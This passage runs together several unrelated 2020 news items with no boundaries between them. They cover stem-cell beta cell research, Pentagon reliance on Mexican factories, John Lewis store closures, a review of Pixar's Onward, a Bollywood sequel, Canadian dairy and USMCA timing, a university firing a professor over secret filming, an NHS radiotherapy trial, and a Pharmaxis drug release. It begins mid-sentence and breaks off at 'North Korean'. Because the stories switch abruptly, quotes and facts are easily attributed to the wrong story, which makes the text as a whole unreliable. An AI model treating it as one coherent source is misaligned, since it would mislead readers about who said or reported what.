differentiation paths. This can lead to a highly heterogeneous cell population with beta cells which are not completely functional. A group of researchers at Helmholtz Zentrum Munchen, the German Center for Diabetes Research (DZD), Technical University of Munich (TUM) and Miltenyi Biotec therefore tried to improve the quality of stem cell-derived beta cells. CD177 quality control The researchers developed an approach to enrich the stem cell culture with highly specialized pancreas progenitors which might lead to a more targeted differentiation into beta cells. From developmental biology we knew that pancreatic progenitors are already specified at the endoderm stage - the first step of differentiation. We needed to find out if this was true also for human pluripotent stem cell differentiation." Prof. Heiko Lickert, Director, Institute of Diabetes and Regeneration Research, Helmholtz Zentrum Munchen Professor of Beta Cell Biology at TUM School of Medicine and member of the Research Coordination Board of the German Center for Diabetes Research (DZD). To investigate on this, the researchers were looking for a possibility to better control the quality of the endoderm and its differentiation into specified pancreas progenitors. In a cooperation with Sebastian Knobel's group at Miltenyi Biotec they identified a monoclonal antibody called CD177 which marks a subpopulation of the endoderm that efficiently and homogenously differentiates into specified pancreatic progenitors. CD177 can therefore function as a quality control. "With CD177 we can already see at an early stage if the cells are on the right differentiation track. This can help save lots of time, efforts and money," says Lickert. Enriching the stem cell culture with CD177 at the endoderm stage increases the generation of specified pancreatic progenitors. Ultimately, this leads to more mature and more functional beta cells that respond better to glucose and show improved insulin secretion patterns. Cell replacement therapy, disease modeling and drug screening Current beta cell differentiation protocols generate very heterogeneous cell populations that not only contain beta cells, but also remaining pancreatic progenitors or cell types from a different lineage. The purification by CD177 will not only improve the homogeneity and quality of the generated beta cells but also increase their clinical safety, as pluripotent stem cells are separated out. This is a crucial step towards the clinical translation of stem cell-derived beta cell replacement therapy for patients with type 1 diabetes. Furthermore, as CD177 generated beta cells are more similar to beta cells in the human body, the CD177 protocol will help to establish disease modeling systems that can mimic the human pancreas. In addition, a differentiation protocol giving rise to functional beta cells is of highest interest for drug screening approaches. The Pentagon wants Mexico to open some of its manufacturing companies to support the supply chain for defense companies in the United States. Ellen Lord, a defense undersecretary, said they found global dependencies. Many U.S. defense firms rely on Mexican suppliers for materials. Aerospace defense giants such as Boeing and Textron rely on Mexican production. The companies are essential to the country's airframe production. An increase in the production of items needed ensures the government gets long-term industrial capacity. The COVID-19 crisis has affected the Pentagon. The defense industry in the commercial aviation sector is experiencing a supply shock and a demand shock. Airline companies do not have enough finances to order to take deliveries of previously ordered airplanes. Many firms in the supply chain are also suppliers for commercial aviation. Mexico is one of the top suppliers to the U.S. aerospace sector. The lockdown measures hampered the production of products, including avionics, landing gear, and fuselages. Mexico's defense exports grew over the last 15 years, leading many defense firms to open production facilities in the country. In the U.S., only a few of Pentagon's suppliers closed due to the global pandemic. Subsectors such as aviation and small space launch are the hardest hit by distancing measures imposed to fight the spread of the virus. The Pentagon is using the previous month's stimulus of $250 million to bolster defense firms. It also plans to funnel more than $750 million for essential medical resources. Tug of War The Mexican government recently pledged to reopen factories vital to the U.S. economy on Monday. Mexico's President Andres Manuel Lopez Obrador said his decision came after business people started borrowing from lending agencies. Under pressure from the U.S. government, Mexico announced reopening automotive plants in a gradual process. The Foreign Relations Department will reportedly issue more details of the plan, including health safeguards, in the coming week. Factory workers in Ciudad Juarez organized a protest in answer to the recent announcement after several factory workers died from COVID-19. Mariana, an employee at a U.S.-owned motor factory, said a colleague who had a high fever was sent home. He died a week later. Mariana also said many others are now experiencing concerning symptoms in the factories along the border. Inside the assembly plants, employees are not observing proper distancing measures. She said employers crowd workers on only one assembly line when the other machine malfunctions. In an electrical goods company, employees also held a strike. The plant's staff believes their work is not "essential" as they produce refrigerators, stoves, and washing machines---goods, they say, no one would buy at this time. Official reports showed 13 factory workers have died from COVID-19. Activists believe the actual figures maybe three times as high as what is officially recorded. Susana Prieto, a well-known workers' rights supporter, said factories had disobeyed the strict guidelines imposed by the Mexican government. "They only started to close once bodies started dropping in front of their eyes." Read the latest news here: John Lewis bosses are deciding which of their 50 stores will re-open after the coronavirus lockdown eases, with inside sources claiming it is 'highly unlikely' all of them will survive. The High Street giant was forced to close all 35 of its department stores and 15 smaller John Lewis At Home shops when Britain went into lockdown in March. It saw 400 staff made redundant and another 14,000 furloughed. But today it was revealed retail bosses have begun considering which stores are not financially viable - even when social distancing measures ease up. John Lewis has battled rising rent and business rates, announcing 'dire' results in January, with sales 23 per cent down on the previous year. Other High Street chains have already gone bust amid the pandemic, including Debenhams, Laura Ashley and Carluccio's. Pictured: John Lewis's closed Oxford Circus store in central London is pictured this week New boss Dame Sharon White, who joined as chairman from Ofcom in Feburary, said it could take five years to return John Lewis to its former glory. Where are John Lewis' 50 stores? Aberdeen Ashford Baskingstoke Birmingham Bluewater Brent Cross Cambridge Cardiff Cheadle Chelmsford Cheltenham Chester Chichester Cross Causeway Croydon Edinburgh Exeter Glasgow Heathrow High Wycombe Horsham Ipswich Kingston Leeds Leicester Liverpool Milton Keynes Newbury Newcastle Norwich Nottingham Oxford Oxford Street, London Peter Jones, London Peterborough Poole Reading Sheffield Solihull Southampton St Pancras, London Stratford City, London Swindon Swindon Outlet Tamworth Trafford Tunbridge Wells Watford Welyn White City, London York Advertisement Dame Sharon and her team are set to face analysts in the City tomorrow, updating them on the John Lewis Partnership's performance over the past week. There has also been speculation that Dame Sharon will need to tap up customers and financial institutions, through a corporate bond, for extra cash. The Times reported on Monday that she is seeking out views to see if investors are willing. A previous bond was launched in 2011 with a 4.5 per cent interest rate and 2 per cent in store vouchers. The John Lewis Partnership also includes Waitrose, which has fared better during the lockdown and has been allowed to stay open for shoppers to stock up on essentials. But with a major ramp-up of online operations, discussions are under way on whether it will be financially viable to reopen John Lewis department stores. Several Waitrose stores have already been forced to close in recent years. JLP said in a statement today: 'We keep our estate under continuous review in order to ensure we have the right amounts of shops to best serve our customers and remain commercially viable. 'It is too early to make a decision but, as always, any decision that is made is done with securing the long-term financial sustainability of the Partnership and is always communicated to our Partners first.' Earlier this year, JLP decided to hand almost 1million to its former managing director Paula Nickolds, despite staff job losses and sales tumbling by a third. John Lewis paid out 939,773 to Paula Nickolds, who was ousted from the department store business in January. The group also confirmed an 892,362 pay packet given to Rob Collins, who had been managing director of the group's Waitrose supermarket arm until he stepped down in October when the group's restructuring was announced. Shortly after she replaced Ms Nickolds in February, Dame Sharon warned the company faced the most challenging period in its history. She added that stores are unlikely to remain open without financial improvements. Her statement said at the time: 'We need to reverse our profit decline and return to growth so that we can invest more in our customers and in our partners. 'This will require a transformation in how we operate as a partnership. 'These are the most challenging but exciting times in retail for a generation.' The Mail On Sunday revealed over the weekend that John Lewis bosses have already started drawing up their blueprint for its reopening. Andrew Murphy, John Lewis Partnership's executive director of operations who has led the crisis strategy, said the chain could begin reopening some stores as soon as the middle of next month. The chain decided to hand almost 1million to its former managing director Paula Nickolds (pictured), despite staff losing their jobs and sales tumbling by a third But it now looks unlikely that the chain will emerge from the crisis without cutting a number of stores and workers' jobs. Who is Sharon White? Ex Ofcom chief faced with the 'mammoth' task of turning around John Lewis Dame Sharon White took over the helm at John Lewis Partnership in February. The former Ofcom chief, 52, has enjoyed a glittering career in the civil service, but joined with no retail experience. Earlier this year, the three most senior executives left the brand. Ms White was already tasked with steering the partnership through a tough restructuring, merging the two firms and axing a third of head office staff - before the coronavirus pandemic hit. Independent retail analyst Richard Hyman said: 'It is a mammoth challenge. They've got a new leader with no experience of business, let alone retail. 'How quickly is Dame Sharon going to become a genius retailer? Because that's what they need.' Earlier this year, new chairwoman Dame White outlined a plan to return the group to profit growth, including 'right sizing' its store estate and slimming down its head office. Advertisement For those stores that do re-open, larger ones such as London, Birmingham or Glasgow would be likely to remain closed until the later phases of the revival plan. Murphy said details of their strategy were likely to change before the launch and no date had been set. He said: 'For the last four or five weeks the crisis has been intense and the demands have meant we've been dealing with circumstances changing almost daily. Over the past seven to ten days there has been a shift. For the first time we have been properly beginning to think about a restart.' Veteran retail analyst, Richard Hyman, commented today: 'Does it make sense for John Lewis to close some stores, absolutely yes. 'No one wants to see people losing their jobs which is what would happen, but the reality is for the market at large, online has been getting bigger and bigger, with John Lewis at the vanguard.' He pointed out that 30 per cent of all retail is already online, adding 'for John Lewis that number was short of 50 per cent before COVID-19, although now it's at 100 per cent. 'The reality is the retail world we are all moving into means every retailer needs fewer stores than it did before, including John Lewis, and not addressing this problem puts the rest of the business in jeopardy.' Onward puts animated movies back on track Twelve months ago if you asked any film fan if they were excited about any animation films that were set to be released the answer, most likely would have been a resounding, No. Hollywood was getting slammed from pillar to post because it was felt that the animated films that it was producing were all mirror images of each other or just another instalment in what were becoming tired franchises. World-Entertainment By David Griffiths Tuesday 28 April 2020, 01:44PM Even the animation leaders Pixar were not immune from the backlash with many believing that films like Toy Story 4 and The Incredibles 2 were inferior films in what had once been brilliant film universes. The question seemed to be, Why cant Hollywood be making animated movies with the creativity being shown by their Asian counterparts? Well it seems like the Hollywood filmmakers were listening. Earlier this year we had the surprisingly creative Spies In Disguise starring Will Smith and Tom Holland and now Pixar has just released one of the most intriguing films of the year the very creative Onward which again stars Tom Holland (Spider-Man: From Far Home) this time alongside his Marvel universe co-star Chris Pratt (Guardians of the Galaxy). Together they voice Ian (Holland) and Barley Lightfoot (Pratt). Two teenage elf brothers growing up in a land that resembles The Shire from Lord Of The Rings but also contains all the modern-day suburban comforts that you and I are used to in everyday life. It is those modern-day comforts that have led to serious issues though for the inhabitants of the land that the Lightfoots call home. Technology has left the ancient magic of the wizards long forgotten, while pixies and fairies have even forgotten what their wings are for. Some people live in hope though. Barley preciously lives the lives of his ancestors through this dungeon and dragons style role-playing games while at the same time trying to look after Ian and their mother Laurel (Julia Louis-Dreyfus Seinfeld) who was left a widow after the death of her husband shortly after the birth of Ian. The two boys have always wondered what their father may have been like but nothing prepares them for what happens on Ians 16th birthday when Laurel gives them a gift their father had prepared before he passed away. The staff that he leaves them tells them he was in fact a wizard and the spell he left allows them the opportunity to bring their father back for a day. However, when Ian only manages to bring back half of their father (his legs) he is forced to team up with Barley to go on an odyssey that will see them have to revert back to the ways of their ancestors before them. Onward is like nothing Pixar has ever created before. Director/screenwriter Dan Scanlon (Monsters University) has delved deep into his creative bank to create what could be loosely described as a stoner film for families. While the films plot does at times feel a little light, you cant help but fall in love with it as it introduces you to characters and a world that you simply just want to know more about. Although Ian and Barley are elves, most audience members will find themselves drawn to them from the very beginning. There is something so natural about Ian a young boy who feels that part of his identity is missing because he never knew his father and Barley, an almost lost teenager who society frowns up because of the energy that he puts into his faithful van and his path of discovering the lost arts of those that came before him. As a filmmaker Scanlon doesnt allow Onward to become a lazy film because of its supernatural elements either. No amount of great visual effects can ever make up for the connection that an audience can get from well-rounded characters. Here that connection is made straight away and throughout the film Scanlon plays on that garnishing suspense from putting the loved characters in peril while also allowing a more emotionally touching side of the film to shine through as the characters learn some valuable morals revolving around what they are going through as a family. Scanlon also weaves some true comedic moments into the film with some great sequences featuring Ian and Barleys battle with the biker pixies and their distrust of their mothers boyfriend Officer Colt Bronco (Mel Rodriguez Little Miss Sunshine). Perhaps the biggest weakness of Onward is the fact that Scanlon at times seems to make the brothers quests just a little too easy to overcome, something that seems to be highlighted even more so due to the fact that the world the boys live in is so interesting that you cant help but feel you want to see more of it and know more about it. Still at the end of the day this is the kind of animated film that audiences have been waiting for. To be honest it is kind of unexpected that Pixar would deliver a film that seems to have a Gothic edge while embracing the quirkiness of a film like Planet 51, but they have and it works wonderfully well. Many asked for more creativity when it comes to the kind of animated films that we are seeing today and if a film like Onward is anything to go by, it looks like that request has well and truly been delivered. Onward is the kind of film that can be enjoyed by family members of all ages so sit back and enjoy a little bit of Pixar magic. 3.5/5 David Griffiths has been working as a film and music reviewer for over 20 years. That time has seen him work in radio, television and in print. You can follow him at www.facebook.com/subcultureentertainmentaus Veteran filmmaker Priyadarshan says he had initially approached big names like Ayushmann Khurrana and Kartik Aaryan for the sequel of his 2003 comedy Hungama, but none of them showed interest in the project. The National Award-winning filmmaker, who roped in one-film-old Meezaan Jaffery to star in Hungama 2, believes popular stars must have thought he is an outdated director. "I didnt go directly to meet them but my concept was narrated to a lot of actors like Ayushmann Khurrana, Kartik Aaryan and Sidharth Malhotra. They all refused to do the film (Hungama 2). Now, I am working with Meezaan. They all refused because maybe they thought I am an outdated director, because I was out of the Hindi film industry for five years," Priyadarshan told PTI. In a career spanning over three decades, Priyadarshan has directed more than 95 films in various Indian languages, including Malayalam, Hindi, Tamil and Telugu. He is best known for his films in the south such as Kanchivaram, Kaalapani, Oppam, Thenmavin Kombath, whereas some of his most notable movies in Hindi include Virasat, Hera Pheri, Hungama, Hulchul, Chup Chup Ke and Bhool Bhulaiyaa, among others. The director said he prefers working with actors who believe in his conviction. "They seemed disinterested. They dont tell it to you on your face. I dont like to beg actors and (I) prefer to work with somebody who believes in me. Many times when you request an actor to do a film, they show respect to you, offer you coffee and nicely they will avoid you, because maybe they dont trust you," he added. Priyadarshan said he is happy with the way Hungama 2 has shaped up so far. He said both the original and sequel have a common theme - confusion. "It is a film of total misunderstanding. The old film is about misunderstanding and confusion and same is the case with Hungama 2 but the story is different," he said. The 2003 original film featured Paresh Rawal, Shoma Anand, Akshaye Khanna, Aftab Shivdasani and Rimi Sen in lead roles. The second part features Paresh Rawal, alongside a new cast, which includes Meezaan, Shilpa Shetty and south actor Pranitha Subhash. The director said he is happy to have collaborated with them for the film. Priyardarshan said due to the coronavirus pandemic the shoot of the film has got affected. "We had 12 more days of shoot left. We were to shoot in Kullu-Manali, there was one song and few scenes left. Almost 80 per cent of the film is complete. We could have finished the film by now if not for coronavirus. I enjoyed doing the film, I am happy with it. I hope when people see it, they like it too," he said. Hungama 2, produced by Ratan Jain, is scheduled to be released in August. WASHINGTON - The federal government has betrayed Canada's dairy processors by allowing the United States to activate the new North American trade deal on July 1 a month earlier than the industry was expecting, the Opposition leader in the Senate said Tuesday. Hey there, time traveller! This article was published 28/4/2020 (624 days ago), so information in it may no longer be current. A dairy cow is seen at a farm Friday, August 31, 2018 in Sainte-Marie-Madelaine Quebec. A Conservative senator says Canada's dairy processing industry stands to lose upwards of $100 million if Canada's new trade agreement with the United States and Mexico goes into effect July 1. THE CANADIAN PRESS/Ryan Remiorz WASHINGTON - The federal government has betrayed Canada's dairy processors by allowing the United States to activate the new North American trade deal on July 1 a month earlier than the industry was expecting, the Opposition leader in the Senate said Tuesday. Sen. Don Plett warned the country's 470 processing facilities, an industry that employs more than 24,000 people and contributes $18 billion annually to the Canadian economy, stand to lose upwards of $100 million if the U.S.-Mexico-Canada Agreement takes effect as scheduled. That's because the dairy industry's "quota year" for a number of key products begins in August, and many of the terms of the agreement are tied directly to the production calendar. Enacting the deal in July would mean that Year 1 a 12-month period the industry was counting on to adjust to the new landscape only lasts 31 days. "We're not talking small adjustments," said Mathieu Frigon, president and CEO of the Dairy Processors Association of Canada. "We're talking adjustment to products, portfolios the product mix of my members, so that means that requires often plants retooling, new products, you have to find a new market. Now we're left to do all of this basically within 30 days." The new USMCA opens up to U.S. producers some 3.6 per cent of a Canadian dairy market that had previously been exclusively available to domestic producers a change that some producers have predicted will carve a $240-million chunk off the industry's bottom line. It also requires the elimination of a pricing system that restricted American imports of certain products, including skim milk powder, milk protein isolates and infant formula, while at the same time restricting Canada's ability to export those same products into the U.S. market. Adding insult to injury, Frigon added, is that all of this comes at a time when both processors and dairy producers are already feeling the brunt of the impact from the COVID-19 pandemic. "It has a multiplier effect, you know, in the current business environment." In exchange for agreeing to fast-track the government's implementation bill last month, with COVID-19 bearing down on North America, Plett said Conservatives in the Senate received a "guarantee" from the governing Liberals that the USMCA, which is also known as CUSMA north of the border, would not go into effect before August. But late last week, U.S. Trade Representative Robert Lighthizer served notice to Canada, Mexico and Congress that all three parties to the deal had finished their necessary domestic housekeeping, starting a clock that makes the deal the law of the land on the first day of the third month after the final country provides notice that its internal processes are complete. By giving its own notice on April 2, Canada gave the U.S. the power to decide when the agreement would take effect, Plett said. "The government's latest decision to move ahead with CUSMA on the backs of our dairy processors in the middle of a global pandemic is completely inexcusable," he said in a statement. "How can Canadians trust that the government is doing everything it can to protect and defend the Canadian economy when they are willing to give up on one of the founding industries in our country?" Plett called the change in timing, particularly in the throes of the pandemic, a betrayal of the Canadian dairy industry. And he suggested that tensions between Ottawa and Donald Trump's White House forced the government to make concessions. "One has to wonder if the government was forced into this weakened position with our biggest trading partner as a result of the prime minister's overall mismanagement of this crisis, and his strained relationship with the Trump administration." In a statement late Tuesday, the office of Deputy Prime Minister Chrystia Freeland defended the government's handling of the agreement, reiterated a promise to compensate the dairy sector and denied Plett's claim that the government ever promised a specific timeline for the deal taking effect. "Amid the COVID-19 pandemic, it is essential that we preserve and position our economy for the recovery including our essential and privileged access to the U.S. market. We preserved and protected supply management in the face of U.S. demands to fully dismantle it," said Katherine Cuplinskas, Freeland's press secretary. "Any assertion that there was a guaranteed entry-into-force date is incorrect; the agreement states it will enter into force on the first day of the third month after all three countries ratify it." Dan Ujczo, a lawyer who specializes in Canada-U.S. trade issues at the firm Dickinson Wright in Columbus, Ohio, pointed out that the federal government bought Canada an extra month of time by waiting until early April to serve notice to the U.S. and Mexico, making it impossible to meet Lighthizer's own preferred timetable of June 1. Jen Zoratti | Next A weekly look towards a post-pandemic future delivered to your inbox every Wednesday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "I thought Canada actually played it masterfully by issuing its certification on April 2, because that addressed the issue of making sure it was July 1, not June 1 ... and combated USTR concerns that Canada was dragging its feet," Ujczo said. "I think Canada had always kind of indicated that it was going to push this as far as it could, but I don't think there was ever a direct commitment that Aug. 1 will be the date. I think it was more, 'We'll give it the old college try.'" While dairy producers are obviously a vital component of the industry, the processing side of the equation is often overlooked and continues to be, Frigon said. "As I always say, a viable, sustainable supply management system needs both a viable farming sector, and a processing sector. And we often forget about the latter part, and that's really unfortunate." This report by The Canadian Press was first published April 28, 2020. Follow James McCarten on Twitter @CdnPressStyle Cedarville University fires professor with history of sex abuse, president apologizes Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A Midwestern Christian university has terminated a theology professor in light of new information that has emerged about his past related to sexual abuse. Cedarville University fired Anthony Moore last week on sexual misconduct grounds, a move which comes approximately three years after the Baptist liberal arts college in western Ohio learned that Moore had secretly filmed a male youth pastor showering at Moore's home on several occasions, according to independent investigative journalist Julie Roys. The firing, however, came about when the university found out about Moore's previous abuse while a pastor at The Village Church in Fort Worth, Texas. Cedarville University President Thomas White told Roys that Moore had been hired in 2017 on a probationary basis and joined the university faculty concurrent with a five-year "restoration" plan. Yet upon discovery that the filming took place over the course of several months and was not limited to a shorter period of struggle, Moore was let go. My understanding of what happened was it was not a habitual issue, White told Roys. It was a struggle that arose from previous abuse and curiosity and then it was repented for. The Cedarville University president reportedly spoke with the victim last week and confirmed that it had taken place over many months. Moore had been fired in 2017 from The Village Church in Fort Worth for what Lead Pastor Matt Chandler referred to as a "sin issue" and grievous immoral actions against another adult member that disqualify him as an elder and staff member." Roys obtained a report that the youth pastor who was filmed had filed a complaint with the Tarrant County Sheriffs Office in October 2018, alleging that Moore had videotaped his youth pastor multiple times. But the youth pastor never pressed charges. The youth pastor discovered he was being secretly filmed in January 2017 when he found a phone belonging to Moore wrapped in a towel with the lens sticking out sitting in a window well above the shower in Moore's home. The youth pastor searched the phone and discovered four other similar videos which he then forwarded to his own phone. Moore reportedly confessed to the filming in 2015, but according to the pastor who was filmed it was part of a larger pattern of relational abuse and toxic co-dependency. The way manipulators work in uncertainty and confusion just develops a deep fog, the youth pastor told Roys in an interview, explaining why he is now speaking out. And its not until youre removed from the fog that you can see. White apologized in a Monday video statement for bringing Moore to the school. "Im sorry that I brought Anthony Moore to Cedarville University. I did not know all the information at first. When we learned the new information, we took the action needed. Dr. Moore violated our agreement. There are no other plans for restoration like this on campus," he said. "Even though no incidents were reported by students, Im recommending to the board of trustees that we hire an outside, independent agency to confirm that nothing inappropriate occurred on our campus, with that report to go directly back to the board of trustees." White also promised that during the summer he and other key leaders would go through victim prevention awareness and advocacy training. Nearly 35,000 breast cancer patients a year are set to benefit from a new fast-track approach to radiotherapy. A major NHS trial reveals a five-day course of radiotherapy is just as good as the standard three-week treatment. It found that treating women with high-dose radiotherapy over five days was as effective and safe as using lower doses over 15 days. Hospitals have already started adopting the new fast-track regime as it also reduces coronavirus exposure and lessens the burden on the NHS. Professor Nick Lemoine, of the National Institute for Health Research, supported the trial, which shows five days of radiotherapy is as good as the three-week breast cancer treatment Around 34,700 women undergo radiotherapy for breast cancer in the UK each year 63 per cent of all patients with the tumours. The procedure is given after women have a tumour surgically removed and is designed to eradicate remaining cancer cells to ensure it does not return. The traditional technique involves daily radiotherapy sessions in hospital Monday to Friday for three weeks. Experts say the latest findings will lead to a rapid change. Usually it take months for a different approach to filter across the NHS. But hospitals are currently desperate to implement measures which can reduce patient visits. A total of 97 NHS hospitals were involved in the trial which involved 4,000 women and was led by the Institute of Cancer Research in London. Professor Judith Bliss, of the institute, said: No one would want to come up to hospital for three weeks of radiotherapy if they can get the same benefit in just one week. There were 97 hospitals in the trial which involved 4,000 women and was led by the Institute of Cancer Research in London. Professor Judith Bliss, from the institute, supported the trial In the trial, a third of women received the standard schedule of 15 daily doses of radiotherapy, with each session involving 2.7 Gray a unit of radiation. The remaining patients were split into two groups, each receiving five treatments over a week. One group was given 5.2 Gray and one of 5.4. The scientists then monitored the patients for five years and found the chances of breast cancer coming back was almost identical for each group. Side effects were also similar. They have now suggested that the five-day schedule, with 5.2 Gray given per dose, should be considered the new best standard of care. Professor Nick Lemoine, of the National Institute for Health Research, which paid for the trial, said: This study shows how innovation can be both clinical and cost-effective. The findings were published in The Lancet journal. Arix Bioscience plc Pharmaxis announces new data in myelofibrosis LONDON, 28 April 2020: Arix Bioscience plc ("Arix") (LSE: ARIX), a global venture capital company focused on investing in and building breakthrough biotech companies, notes that its portfolio company Pharmaxis Ltd (ASX:PXS), today announced Phase 1b data from its oral anti-fibrotic pan-Lysyl Oxidase (LOX) inhibitor, PXS-5505, for treatment of myelofibrosis (MF), a rare type of bone marrow cancer. Pharmaxis reports that the drug was well tolerated and no safety signals were identified during the multiple ascending dose stage of the study. As announced by Pharmaxis, this data forms the basis for the advancement of the PXS-5505 programme into a Phase 2 clinical trial in MF, with initiation targeted for Q4 2020. The announcement can be accessed on Pharmaxis' investor website at http://www.pharmaxis.com.au/investor-centre/news/ and full text of the announcement from Pharmaxis is contained below. [ENDS] Enquiries For more information on Arix, please contact: Arix Bioscience plc Charlotte Parry, Head of Investor Relations +44 (0)20 7290 1072 charlotte@arixbioscience.com Optimum Strategic Communications Mary Clark, Supriya Mathur, Shabnam Bashir +44 (0)20 3950 9144 optimum.arix@optimumcomms.com About Arix Bioscience plc Arix Bioscience plc is a global venture capital company focused on investing in and building breakthrough biotech companies around cutting edge advances in life sciences. We collaborate with exceptional entrepreneurs and provide the capital, expertise and global networks to help accelerate their ideas into important new treatments for patients. As a listed company, we are able to bring this exciting growth phase of our industry to a broader range of investors. www.arixbioscience.com Media Release, 28 April 2020 PHARMAXIS CANCER DRUG READY TO COMMENCE MYELOFIBROSIS PHASE 2 STUDIES Q4 2020 Multiple ascending dose stage of Phase 1 trial demonstrates a well-tolerated drug that effectively inhibits all enzymes in the lysyl oxidase family that are involved in fibrosis. Long term toxicity studies completed clearing the way for 6-month phase 2 studies in several cancers with opportunity to demonstrate disease modifying efficacy. Pre-clinical program, regulatory advice and opinion from leading clinicians supports progression into phase 2 study of myelofibrosis, a rare bone cancer with high unmet need and significant market opportunity. Pharmaxis advances its clinical stage pipeline in fibrosis that includes selective LOXL2 inhibitors (PXS-5382 and PXS-5338) for chronic fibrotic diseases like NASH and IPF, the oral pan-LOX inhibitor (PXS-5505) for acute fibrosis and cancer, and a topical pan-LOX inhibitor for scarring. Pharmaceutical research company Pharmaxis Ltd (ASX: PXS) today announced that following positive results from phase 1b and long term toxicity studies, the company is now progressing to a phase 2 study of its oral anti-fibrotic pan-Lysyl Oxidase (LOX) inhibitor PXS-5505 for treatment of the rare bone cancer, myelofibrosis (MF). Pharmaxis has received pre IND feedback from the FDA on the PXS-5505 program in MF and discussed the trial protocol with key opinion leaders in the US, Europe and Australia. Pharmaxis is currently preparing a full IND application for FDA submission mid-year and appointing a Clinical Contract Research Organisation with a view to commencing recruitment in Q4 2020. The results of the phase 1b study of PXS-5505 follow a successful phase 1a study reported in October 2019. The phase 1b was a double?blind placebo controlled study in 16 healthy subjects divided into two groups with each group receiving a different dose or placebo daily for 14 days. The drug was well tolerated and no safety signals were identified during the study. Importantly for potential clinical benefit and in line with the phase 1a results, the data showed a drug with good pharmacokinetics and a dose related strong inhibition of members of the lysyl oxidase family in tissue and blood. PXS-5505 is an oral drug that inhibits all lysyl oxidase family members (LOX, LOXL1, 2, 3 & 4). The compound successfully cleared pre?clinical safety including 6-month toxicity studies and has shown significant reductions in fibrosis in in?vivo models of kidney, lung, heart, skin and liver fibrosis in addition to myelofibrosis and pancreatic cancer metastases. A recent publication1 reported that two Pharmaxis pan-LOX inhibitor compounds have significantly decreased the bone marrow fibrotic burden in two different models of primary myelofibrosis. Myelofibrosis is a cancer with a poor prognosis and limited therapeutic options where only allogeneic stem cell transplantation is curative in a small number of patients who are eligible for such a treatment, while administration of a JAK1/2 inhibitor (e.g. ruxolitinib) provides mainly symptomatic relief but carries a risk of worsening blood cell counts. Pharmaxis CEO Gary Phillips said, "With the successful completion of the phase 1b study, 6-month toxicity studies, support from clinical key opinion leaders and preliminary regulatory feedback, we can now move confidently into a 6-month phase 2 study in myelofibrosis with meaningful clinical efficacy and safety endpoints. Pharmaxis believes that the current treatments for MF can be augmented by use of a pan-LOX inhibitor and be disease modifying in a market that is conservatively worth US$1b per annum. We have ongoing discussions with contract research organisations who are confident of a trial recruitment start by the end of the year despite the impact of Covid-19 on clinical trials worldwide. A number of contingency plans to maintain this timeline are actively being explored." Mr Phillips added, "The proprietary technology Pharmaxis has developed to measure activity and concentration of LOX and its related family members in tissue and blood enables us to clearly understand the role these enzymes have in fibrotic diseases and cancer and will significantly aid patient selection and proof-of-mechanism in the upcoming phase 2 trial. We are still gathering data from our academic collaborators who are investigating other cancers where fibrosis plays a significant role. These include pancreatic cancer, oral cancer, glioblastoma and mesothelioma where there is strong pre-clinical evidence that several members of LOX family play a critical role." Pharmaxis will provide an update on phase 2 trial design once it has received final regulatory clearance in Q3 2020. ENDS# SOURCE: Pharmaxis Ltd, Sydney, Australia AUTHORISED FOR RELEASE TO ASX BY: Pharmaxis Ltd Disclosure Committee. Contact: David McGarvey, Chief Financial Officer and Company Secretary: T +61 2 9454 7203, E david.mcgarvey@pharmaxis.com.au CONTACT: Media:Felicity Moffatt: T +61 418 677 701, E felicity.moffatt@pharmaxis.com.au Investor relations:Rudi Michelson (Monsoon Communications) T +61 411 402 737, E rudim@monsoon.com.au About Pharmaxis Pharmaxis Limited is an Australian pharmaceutical research company and a global leader in drug development for inflammation and fibrotic diseases. The company has a highly productive drug discovery engine, drug candidates in clinical trials and significant future cash flows from partnering deals. Leveraging its small-molecule expertise and proprietary amine oxidase chemistry platform, Pharmaxis has taken four in-house compounds to Phase 1 trials in just five years. Boehringer Ingelheim acquired the Pharmaxis anti-inflammatory AOC3 inhibitor in 2015 to develop it (BI 1467335) for two diseases: the liver condition Non?alcoholic Steatohepatitis (NASH) and diabetic retinopathy (DR). The company's successor amine oxidase program has developed an oral anti-fibrotic LOXL2 inhibitor, aimed at NASH, pulmonary fibrosis (IPF) and other high-value fibrotic heart and kidney diseases, with a commercial partnering process underway, a systemic pan-LOX inhibitor for acute fibrosis and cancer that will enter a phase 2 study in 2020 and a topical pan-LOX inhibitor for scarring that is expected to commence phase 1 studies in 2H 2020. Pharmaxis' Mannitol platform has yielded the products Bronchitol for cystic fibrosis, which is marketed in Europe, Russia and Australia, with United States FDA approval pending; and Aridol for the assessment of asthma, which is sold in the United States, Europe, Australia and Asia. Pharmaxis is listed on the Australian Securities Exchange (PXS). Its head office, manufacturing and research facilities are in Sydney, Australia. http://www.pharmaxis.com.au/ What is Primary myelofibrosis? Primary myelofibrosis is a disorder in which normal bone marrow tissue is gradually replaced with a fibrous scar-like material. Over time, this leads to progressive bone marrow failure. Under normal conditions, the bone marrow provides a fine network of fibres on which the stem cells can divide and grow. Specialised cells in the bone marrow known as fibroblasts make these fibres. In primary myelofibrosis, chemicals released by high numbers of platelets and abnormal megakaryocytes (platelet forming cells) over-stimulate the fibroblasts. This results in the overgrowth of thick coarse fibres in the bone marrow, which gradually replace normal bone marrow tissue. Over time this destroys the normal bone marrow environment, preventing the production of adequate numbers of red cells, white cells and platelets. This results in anaemia, low platelet counts and the production of blood cells in areas outside the bone marrow for example in the spleen and liver, which become enlarged as a result. Primary myelofibrosis is a rare chronic disorder diagnosed in an estimated 1 per 100,000 population. It can occur at any age but is usually diagnosed later in life, between the ages of 60 and 70 years. The cause of primary myelofibrosis remains largely unknown. It can be classified as either JAK2 mutation positive (having the JAK2 mutation) or negative (not having the JAK2 mutation). Source: Australian Leukemia Foundation: https://www.leukaemia.org.au/disease-information/myeloproliferative-disorders/types-of-mpn/primary-myelofibrosis/ Forward-Looking Statements Forward?looking statements in this media release include statements regarding our expectations, beliefs, hopes, goals, intentions, initiatives or strategies, including statements regarding the potential of products and drug candidates. All forward-looking statements included in this media release are based upon information available to us as of the date hereof. Actual results, performance or achievements could be significantly different from those expressed in, or implied by, these forward-looking statements. These forward-looking statements are not guarantees or predictions of future results, levels of performance, and involve known and unknown risks, uncertainties and other factors, many of which are beyond our control, and which may cause actual results to differ materially from those expressed in the statements contained in this document. For example, despite our efforts there is no certainty that we will be successful in partnering our LOXL2 program or any of the other products in our pipeline on commercially acceptable terms, in a timely fashion or at all. Except as required by law we undertake no obligation to update these forward-looking statements as a result of new information, future events or otherwise. North Korean 